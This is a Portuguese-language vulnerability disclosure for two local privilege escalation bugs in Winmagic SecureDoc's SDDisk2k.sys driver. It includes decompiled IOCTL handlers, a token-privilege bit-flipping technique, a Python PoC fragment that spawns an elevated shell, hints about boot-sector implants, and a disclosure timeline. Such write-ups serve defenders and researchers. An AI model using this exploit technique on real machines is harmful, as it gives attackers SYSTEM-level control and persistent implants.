
Write-Up Técnico e Exploit PoC para CVE-2020-11519 e CVE-2020-11520
Data: Junho de 2020
Autor: Dennis Elser (código: github)
De acordo com sua representação na web, o Winmagic SecureDoc "permite que as empresas lidem com a segurança do seu ambiente de TI de forma eficiente, aproveitando recursos incluindo: Criptografia Completa de Disco (FDE), Autenticação Multifator, Criptografia de Contêiner de Mídia Removível (RMCE) e Criptografia de Arquivos e Pastas (FFE). Esses recursos ajudam as empresas a aumentar a segurança, mitigar riscos de negócios e atender aos requisitos governamentais e regulatórios para criptografia de disco rígido."
O produto Winmagic SecureDoc, disponível nas edições standalone e enterprise, é afetado por duas vulnerabilidades de escalonamento de privilégios local (CVE-2020-11519 e CVE-2020-11520) nas versões 8.3 e 8.5. Após as vulnerabilidades terem sido reportadas à Winmagic no final de março, o fornecedor lançou um patch (versão 8.5SR2) em meados de junho de 2020. No entanto, verificou-se que este patch abordava as vulnerabilidades de forma insuficiente, o que também tornou a versão 8.5SR2 vulnerável às falhas relatadas. Embora os detalhes técnicos sobre as vulnerabilidades tenham sido retidos por esse motivo, as falhas tiveram que ser consideradas públicas desde então. De acordo com o fornecedor, outro patch ainda está em desenvolvimento, aproximadamente 106 dias após o relatório inicial de vulnerabilidade à Winmagic. Em 15 de julho, 111 dias após o relatório inicial de vulnerabilidade ao fornecedor, a Winmagic lançou o SecureDoc v8.5 SR2 HF1 para os clientes, que supostamente corrige o CVE-2020-11519 e o CVE-2020-11520. Versões do SecureDoc anteriores à 8.3 não foram testadas, mas podem ser consideradas afetadas também, com base no código do componente afetado.
A exploração bem-sucedida de qualquer uma das vulnerabilidades levará ao escalonamento de privilégios para SYSTEM para atacantes autenticados localmente.
Ambas as vulnerabilidades afetam o componente "SDDisk2k.sys", um driver de kernel que acompanha o produto Winmagic SecureDoc. As falhas de segurança foram identificadas usando análise estática manual com a ajuda do Hex-Rays IDA Pro disassembler e decompiler. Em retrospectiva, as fraquezas poderiam ter sido descobertas com significativamente menos esforço se abordagens de teste dinâmico, como fuzzing, tivessem sido aplicadas. Isso porque o driver pode ser interfaceado a partir de aplicações limitadas em modo de usuário e porque ele assume que sua entrada está bem formada por padrão.
Devido à criação insegura de um objeto de dispositivo "SecureDocDevice" pelo driver "SDDisk2k.sys" e à falta de código que configurasse um descritor de segurança apropriado, até mesmo contas de usuário limitadas têm a capacidade de adquirir um identificador para o dispositivo usando a função de API CreateFile(). Ao conceder a uma aplicação em modo de usuário um identificador para seu objeto de dispositivo, o driver abre aqui um caminho direto para sua superfície de ataque no espaço do kernel.``` c RtlInitUnicodeString(&DestinationString, L"\Device\SecureDocDevice"); RtlInitUnicodeString(&SymbolicLinkName, L"\DosDevices\SecureDocDevice"); if ( IoCreateDevice(v1, 0xDD8u, &DestinationString, 0x8D1Fu, 0, 0, &DeviceObject) >= 0 ) // <--- unsafe { memset(DeviceObject->DeviceExtension, 0, 0xDD8ui64); DeviceObject->Flags |= 4u; DeviceObject->AlignmentRequirement = 0; if ( IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString) < 0 ) IoDeleteDevice(DeviceObject); IoObject = DeviceObject; }
Ao reverter a engenharia de vários manipuladores de serviço [IOCTL](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes) do driver "SDDisk2k.sys", descobriu-se que um deles expõe funcionalidades críticas ao modo de usuário, permitindo operações de leitura e gravação em setores brutos de disco de uma unidade arbitrária — por design. Além disso, ao interagir com esse mesmo código, notou-se que o driver ignora quaisquer bloqueios exclusivos que possam ter sido definidos anteriormente em uma unidade. Como consequência, operações concorrentes de leitura/gravação são possíveis, o que facilita condições de corrida e riscos de perda de dados.
O trecho a seguir mostra o manipulador de serviço IOCTL descompilado do driver que é responsável por tratar requisições de leitura de setores brutos de disco. Ele chama uma função sub_29CD4() com um argumento "controlled_buf", que é um ponteiro para um buffer cujo conteúdo pode ser escolhido arbitrariamente por qualquer aplicação em modo de usuário que o chame:``` c
if ( ioctlcode == 0x8D1F2824 ) // <--- I/O control code for raw disk reading functionality
{
controlled_buf = (unsigned __int8 *)controlled_addr;
mode = 0;
temp_result = sub_29CD4((char *)controlled_buf, v3, mode); // <--- call to raw disk read function
Na verdade, este buffer controlado pelo atacante é uma estrutura cujos campos "offset", "length" e "ptr_buf" são argumentos de função inteiramente não verificados passados para uma chamada a IoBuildSynchronousFsdRequest(). Esta última função prepara um pacote de requisição de I/O IRP_MJ_READ (IRP) que envia ao driver do sistema de arquivos subjacente usando uma chamada a IofCallDriver():``` c __int64 __fastcall sub_29CD4(char *controlled_addr, PIRP a2, char mode) { //[...snip...] // extract drive number and type (floppy/hd) from offset 0 devicetype_and_num = (unsigned __int8)*controlled_buf // <--- controllable from user mode
// advance pointer p = controlled_buf + 1;
// build device name if ( (devicetype_and_num & 0x80u) == 0 ) v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Floppy%d", devicetype_and_num); else v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Harddisk%d\Partition0", devicetype_and_num & 0x7F); v12 = v11; if ( v11 >= 0 ) { RtlInitUnicodeString(&DestinationString, &device_name);
// get object pointer of drive
if ( IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject) >= 0
|| (v12 = sub_2C5D4(&DestinationString, &DeviceObject), v12 >= 0) )
{
// extract further fields from structure
offset = *(_QWORD *)(p + 0x4E); // <--- where to start reading from
length = *(_DWORD *)(p + 0x56); // <--- number of bytes to read
ptr_buf = *(void **)(p + 0x5A); // <--- ptr to destination buffer
devobj = DeviceObject;
StartingOffset.QuadPart = offset << 9;
KeInitializeEvent(&Event, NotificationEvent, 0);
// build request
v17 = IoBuildSynchronousFsdRequest(
(unsigned int)(mode != 0) + IRP_MJ_READ, // <--- issue read request
devobj,
ptr_buf,
length << 9,
&StartingOffset,
&Event,
&IoStatusBlock);
v18 = v17;
if ( v17 )
{
v19 = v17->Tail.Overlay.CurrentStackLocation;
if ( mode )
v19[0xFFFFFFFF].Flags |= 0x10u;
ObfReferenceObject(devobj);
// send request to respective device object (issue read request)
v12 = IofCallDriver(devobj, v18);
//[...snip...] }
Assim como a leitura de setores brutos do disco, a gravação de setores do disco a partir do modo de usuário é possibilitada pela chamada do manipulador IOCTL 0x8D1F2820, que processa a mesma estrutura de dados e é implementada de maneira semelhante. Dada a compatibilidade com o protocolo deste driver, não há nada que impeça aplicações arbitrárias do modo de usuário de comprometer completamente o Sistema Operacional. A menos que protegido por um mecanismo de boot seguro, isso inclui até mesmo a instalação de software que é permitido executar durante o processo de inicialização do sistema (ransomware, bootkits, implantes personalizados...).
### CVE-2020-11520
Um exame mais aprofundado dos manipuladores de serviço do driver "SDDisk2k.sys" revelou que endereços de memória de aplicações em modo de usuário são processados sem validação prévia. Em alguns casos, a memória acessada por esses ponteiros é cegamente escrita pelo driver, o que pode ser abusado por atacantes para criar primitivas de escrita no kernel. Embora todas as primitivas de escrita permitam controle direto de **onde** escrever dados, infelizmente nenhuma foi encontrada que permitisse controle direto de **quais** dados escrever. Com exceção de [CVE-2020-11519](#cve-2020-11519), cuja exploração neste contexto exigiria um desvio adicional através de operações de leitura/gravação de disco, o que considero uma abordagem suja e, portanto, queria evitar. No entanto, um manipulador específico foi identificado que, admitidamente, não permitia controlar os dados em si, mas ainda assim se mostrou bom o suficiente para ser reaproveitado por outros meios.
O código descompilado abaixo mostra o manipulador de serviço do driver para o código IOCTL 0x8d1f282c. Ele recebe um número inteiro de 16 bits "count" de um buffer controlado pelo usuário, em seguida, garante que não exceda um certo limite. Finalmente, um ponteiro "dst" é adquirido do mesmo buffer de entrada controlado, mas nunca será verificado quanto à validade antes de ser passado como argumento para uma chamada subsequente a memmove(). Para minha decepção inicial, o buffer "src" que é passado como argumento para memmove() não é controlado, mas aponta para uma string fixa ("FRNSecureDoc v4.1\0"), o que limita sua utilidade para exploração até certo ponto. Obviamente, este manipulador de serviço escreve um identificador de versão em um endereço especificável pelo usuário, o que pode ser abusado para fingerprinting de versões vulneráveis do Winmagic SecurDoc.``` c
// handler for I/O control code 0x8d1f282c
// get "count" from controlled buffer
count = *((_WORD *)controlled_buf + 5);
// if count is zero, return error
if ( !count )
{
*((_WORD *)controlled_buf + 5) = 0x13;
goto leave_dispatcher;
}
// otherwise further sanitize and limit "count"
if ( count >= 0x12u )
count = 0x11;
// bug! controlled pointer, passed from userland!
dst = *(void **)(controlled_buf + 2);
src = aFrnsecuredocV4; // <--- 'FRNSecureDoc v4.1',0
// unchecked write!
memmove(dst, src, count);
goto leave_dispatcher;
No entanto, ter este endereço "dst" totalmente controlado apontando para um local adequado no espaço do kernel reaproveita esse manipulador IOCTL e o transforma numa primitiva de escrita no kernel. Com referência a [1] e [2], chamar este manipulador de serviço com "dst" apontando para o endereço do kernel de um token de um processo, ou mais precisamente, para o seu membro "Privileges" no offset 0x40, pode levar à elevação de privilégios :)```
0: kd> dt nt!_token ffffe40955f766b0
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffffffffffff +0x030 TokenLock : 0xffffd20ff9adee10 _ERESOURCE
+0x038 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
[...snip...]
0: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffe40955f766b0+0x40 +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x40800000
A estrutura SEP_TOKEN_PRIVILEGES é um conjunto de máscaras de bits com bits individuais representando cada um uma flag de privilégio. Como consequência lógica, solicitar amigavelmente ao driver SecureDoc que armazene partes da sua string de versão "FRNSecureDoc v4.1\0" na estrutura SEP_TOKEN_PRIVILEGES de um token de processo deve inverter alguns bits e, esperançosamente, ativar privilégios úteis, pelo menos hipoteticamente. Acontece que, ao fazer com que o driver armazene os dois primeiros caracteres da sua string de versão nos offsets 1 e 2 do campo "Present" da estrutura SEP_TOKEN_PRIVILEGES, vários privilégios interessantes do token são ativados. O caractere '**F**' retirado de "**F**RNSecureDoc v4.1\0" é igual a 01000110 e, portanto, define o bit 9 (SeTakeOwnershipPrivilege), o bit 10 (SeLoadDriverPrivilege) e o bit 14 (SeIncreaseBasePriorityPrivilege) do campo "Present". O caractere '**R**' é igual a 01010010, definindo o bit 17 (SeBackupPrivilege), o bit 20 (SeDebugPrivilege) e o bit 22 (SeSystemEnvironmentPrivilege):
| Nº do bit ("Present") | Caractere | Byte | Privilégio |
| :--------------: | :-------: | ------------ | --------- |
| 8 | 'F' | 0100011**0** | SeSecurityPrivilege |
| 9 | 'F' | 010001**1**0 | **SeTakeOwnershipPrivilege** |
| 10 | 'F' | 01000**1**10 | **SeLoadDriverPrivilege** |
| 11 | 'F' | 0100**0**110 | SeSystemProfilePrivilege |
| 12 | 'F' | 010**0**0110 | SeSystemtimePrivilege |
| 13 | 'F' | 01**0**00110 | SeProfileSingleProcessPrivilege |
| 14 | 'F' | 0**1**000110 | **SeIncreaseBasePriorityPrivilege** |
| 15 | 'F' | **0**1000110 | SeCreatePagefilePrivilege |
| 16 | 'R' | 0101001**0** | SeCreatePermanentPrivilege |
| 17 | 'R' | 010100**1**0 | **SeBackupPrivilege** |
| 18 | 'R' | 01010**0**10 | SeRestorePrivilege |
| 19 | 'R' | 0101**0**010 | SeShutdownPrivilege |
| 20 | 'R' | 010**1**0010 | **SeDebugPrivilege** |
| 21 | 'R' | 01**0**10010 | SeAuditPrivilege |
| 22 | 'R' | 0**1**010010 | **SeSystemEnvironmentPrivilege** |
| 23 | 'R' | **0**1010010 | SeChangeNotifyPrivilege |
## Exploit de Prova de Conceito
Um [exploit de prova de conceito](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py) foi desenvolvido em Python e depurado com a ajuda do [depurador de kernel WinDbg da Microsoft](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-toolsk) anexado a uma VM Windows 10 x64.
Este exploit PoC adquire o endereço do kernel do token de segurança do processo atual e, entre outros, ativa o privilégio SeDebugPrivilege ao explorar as vulnerabilidades descritas. Em seguida, cria um shell de comando que herda os privilégios recém-elevados do token.
Ter a flag SeDebugPrivilege ativada tornará possível injetar shellcode e executá-lo no contexto de um processo SYSTEM – no entanto, deixo esta parte para você ;)``` python
token_addr = sdi.get_token_obj()
if not token_addr:
print("[!] Could not get address of token")
sdi.close()
return
print("[+] Got token object: %x" % token_addr)
print("[+] Patching token")
sdi.acquire_debug_privs(token_addr)
sdi.close()
os.system("cmd.exe")
Para evitar colocar os dados de alguém em risco, a versão pública deste exploit de PoC não incluiu nenhum código ativo para ler/escrever setores de disco bruto usando o CVE-2020-11519. Ainda assim, pode ser facilmente transformado em um instalador para qualquer código que você queira que seu setor de inicialização execute, se as chamadas para as funções disk_read_raw() e disk_write_raw() forem adicionadas. Que tal instalar e jogar uma partida de tetros como alternativa à instalação de implantes? ;)
O seguinte mostra os privilégios de token do processo atual antes e depois de executar o exploit de Prova de Conceito, respectivamente.``` C:\Users\re>whoami /priv
Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
C:\Users\re>python3 sd_poc.py
EoP PoC for WinMagic SecureDoc 8.5
[+] Got a handle to driver [+] Got token object: ffffd68dd45d9990 [+] Patching token Microsoft Windows [Version 10.0.17134.1304] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\re>whoami /priv
Privilege Name Description State =============================== ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeBackupPrivilege Back up files and directories Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
O código de exploração PoC pode ser encontrado [aqui](https://github.com/patois/winmagic_sd/blob/HEAD/sd_poc.py). Ele tem como alvo a versão 8.5 do Winmagic SecureDoc x64, mas pode funcionar em versões mais antigas (não testado).
Caso você tenha chegado até aqui, mas ainda esteja muito entediado, sinta-se à vontade para discar o código IOCTL 0x8D1F2848 ;)``` c
case 0x8D1F2848:
DbgPrint("SDDEV_IO_BLUE_SCREEN comes in ...");
if ( *(_WORD *)controlled_buf == 0x55AA
&& *(_QWORD *)(controlled_buf + 2)
&& *((_WORD *)controlled_buf + 5) == 4 )
{
StartContext = ExAllocatePoolWithTag(PoolType, 4ui64, 'gaMW');
if ( !StartContext )
{
KeSetPriorityThread(KeGetCurrentThread(), 0x1F);
KeBugCheckEx(0xE2u, 0x2D8ui64, **(unsigned int **)(controlled_buf + 2), 0i64, 'WM');
}
DbgPrint("SDDEV_IO_BLUE_SCREEN preps ...");
*StartContext = **(_DWORD **)(controlled_buf + 2);
if ( PsCreateSystemThread(
&ThreadHandle,
0x1FFFFFu,
0i64,
0i64,
0i64,
(PKSTART_ROUTINE)sub_23948,
StartContext) < 0 )
ExFreePoolWithTag(StartContext, 0);
else
ZwClose(ThreadHandle);
}
2020-03-27 | Shared vulnerability report with Winmagic representative 2020-03-28 | Winmagic confirmed receipt of vulnerability report 2020-04-04 | Shared CVE IDs CVE-2020-11519 and CVE-2020-11520 with Winmagic 2020-04-22 | Winmagic gave an estimated ETA of fix within 60-90 days 2020-06-14 | Winmagic shared pre-release of SecureDoc v8.5SR2 for testing 2020-06-17 | Informed Winmagic the fix doesn't properly address the vulnerabilities 2020-06-18 | Winmagic informed that SecureDoc v8.5SR2 had already been publicly released | in the meantime. According to this version's release notes, CVE-2020-11519 | and CVE-2020-11520 are addressed ("SD-34145: Windows Client Security | Vulnerability Report"). Winmagic representative asked whether holding back | information about the vulnerabilities was an option till the next scheduled | release date in autumn, in favour of a proper fix 2020-06-19 | Informed Winmagic about the common 90-days disclosure deadline and that | postponing a proper fix for incorrect but already released bugfixes | would put users at risk even more so 2020-06-19 | Winmagic informed that a hotfix for the flawed v8.5SR2 patch of | SecureDoc is being worked on, no ETA given 2020-06-22 | Asked for ETA of the hotfix 2020-06-23 | Winmagic provided information about an intended release of a hotfix within | a two week time frame, starting with the passing of the 90-days deadline 2020-06-30 | Asked Winmagic about the current status 2020-06-30 | Winmagic assured that a fix would be made available before 2020-07-08 2020-07-08 | Winmagic informed about delay of release to 2020-07-09 or 2020-07-10, latest 2020-07-10 | Public release of this information, no public fix available (106 days) 2020-07-15 | Winmagic released SecureDoc v8.5 SR2 HF1 (111 days)
## Solução
Atualize para o Winmagic SecureDoc v8.5 SR2 HF1.
## Somas de verificação
| Nome do arquivo | Versão | Hash (SHA-256) |
| ----------------------- | -------- | ---------------------------------------------------------------- |
| SDDisk2k.sys (64bit) | 8.3.717 | 98D29D28BB9552D20BC78EB0BD12A57B921167565F3E47919EC2D61F24DA9241 |
| SDDisk2k.sys (64bit) | 8.5.445 | 1D9054C4B49267EEF63B2EB11EC563E036F9E6E2AC18D32597FA769934BB7E18 |
## Referências
1. [Abusando de privilégios de token para LPE](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)
2. [Explorando CVE-2014-4113 no Windows 8.1](http://jodeit.org/research/Exploiting_CVE-2014-4113_on_Windows_8.1.pdf)
3. [Exploração fácil do kernel do Windows local](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
4. [Tenho 99 problemas, mas um ponteiro de kernel não é um](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf)
5. [Explorando handles de processo e thread vazados](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
6. [Discussão no Sourceforge sobre chamar NtQuerySystemInformation usando ctypes](https://sourceforge.net/p/ctypes/mailman/message/34578496/)
7. [Notas de versão do SecureDoc v8.5SR2](https://www.winmagic.com/support/release-notes/securedoc-v8-5-sr2)